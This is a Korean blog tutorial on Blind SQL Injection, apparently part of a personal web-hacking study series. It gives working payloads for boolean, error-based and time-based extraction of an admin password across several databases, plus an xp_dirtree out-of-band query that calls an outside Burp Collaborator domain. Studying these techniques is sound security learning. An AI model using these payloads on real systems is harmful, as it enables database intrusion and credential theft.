- Blind SQL Injection2025년 07월 05일
- truebird
- 작성자
- 2025.07.05.:46
[서론]
일반적인 SQL Injection은 결과를 화면에 출력 해 줘야 공격자가 쿼리 결과를 보고 판단 할 수 있지만, 화면에 결과가 보이지 않는 경우 다른 방법으로 결과를 도출해 내야합니다. 즉 이런 상황에서 쓸수 있는 것이 Blind SQL Injection이다. Blind SQL Injection은 SQL Injection에 취약한건 확실한데, 응답 값에 쿼리 결과나 데이터 베이스 오류가 표시되지 않는 경우 발생 하는 취약점입니다
[본론]
Blind SQL Injection의 사용 방법은 다양 합니다. 이 글에서 적지 못한 방법들이 있을것 같은데 해당 방법들에 대해서는 다음에 적어 보도록 하겠습니다. 또 다음에 미루는 ... 😂
(1). 조건에 따라 응답이 달라지는 경우
서버가 TrackingId라는 쿠키 값을 사용해 다음과 같은 SQL 쿼리를 실행한다고 가정 해 봅시다.
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
이때 TrackingId가 존재 하면, Welcom back이는 메시지를 보여 주는 방식이라고 한다면 이를 통해 쿼리 경과의 참/거짓 여부를 알 수 있습니다. 이때 입력 값을 xyz' AND '1'='1 이런 식으로 넣은 경우 1=1 이 참이기 떄문에 Welcom back이라는 메시지가 출력 됩니다. 하지만 입력값을 xyz' AND '1'='2 이라고 넣은 경우 1=2가 거짓이기 때문에 메시지가 출력되지 않습니다. 그렇다면 이것을 통해 Password를 알아 낼 방법이 있습니다.
TrackingId=xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'), 1, 1) = 's
(2). 응답이 같지만, 에러를 유도할 수 있을 때
돌아오는 응답 값이 항상 똑같지만, 특정 조건이 참일 때만 에러가 발생하도록 만들수 있습니다.
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
1=1 이 참이면 1/0이므로 zero division이 발생합니다. 1=2면 거짓이 되므로 'a'를 반환합니다.
(3). 시간 지연을 유도하는 방법
특정 경우에는 오류도, 응답 차이도 없을 수 있습니다. 이러한 경우에는 쿼리 실행 시간을 인위적으로 지연시켜서 참/거짓을 판별 할 수 있습니다.
#MySQL - SLEEP(seconds) ' OR IF(1=1, SLEEP(5), 0)-- ' OR IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 109, SLEEP(5), 0)-- #MSSQL - WAITFOR DELAY 'hh:mm:ss' '; IF (1=1) WAITFOR DELAY '0:0:5'-- '; IF (ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 109) WAITFOR DELAY '0:0:5'-- #Oracle - DBMS_LOCK.SLEEP(seconds) 또는 UTL_INADDR.GET_HOST_ADDRESS ' OR 1=1; BEGIN DBMS_LOCK.SLEEP(5); END;-- ' OR (SELECT CASE WHEN ASCII(SUBSTR(password, 1, 1)) > 109 THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM users WHERE username='admin')-- # DBMS_LOCK.SLEEP은 권한이 필요하다. 일반 계정은 사용 못 할 수 있다. #PostgreSQL - pg_sleep(seconds) ' OR 1=1; SELECT pg_sleep(5)-- ' OR (SELECT CASE WHEN ASCII(SUBSTRING(password, 1, 1)) > 109 THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='admin')-- #SQLite - 기본적으로 SLEEP()같은게 없다. SELECT load_extension('libsqlitefunctions.so'); SELECT sleep(5); #이런식으로 가능 하기는 한데, Timebased Blind SQLi는 잘 사용되지 않는다.
(4). 외부 서버로의 요청을 유도하는 방식
SQL 쿼리가 백그라운드에서 실행 되거나, 응답/에러/시간 지연이 전혀 보이지 않는 경우에는 OAST 방식이 필요 합니다.
'; exec master..xp_dirtree '//[내도메인].burpcollaborator.net/a'--
해당 쿼리를 통해 내가 만든 도메인으로 DNS 요청이 나가게 하여, 서버가 내 쿼리를 실행 했는지 감지합니다.
'Web Hacking > Tech' 카테고리의 다른 글
SQL Injection (0) 2025.07.04 CSRF (1) 2025.06.28 XSS (0) 2025.06.28 WEB 해킹 들어가기 - 베이스 쌓기 (0) 2025.06.28 다음글이전글이전 글이 없습니다.댓글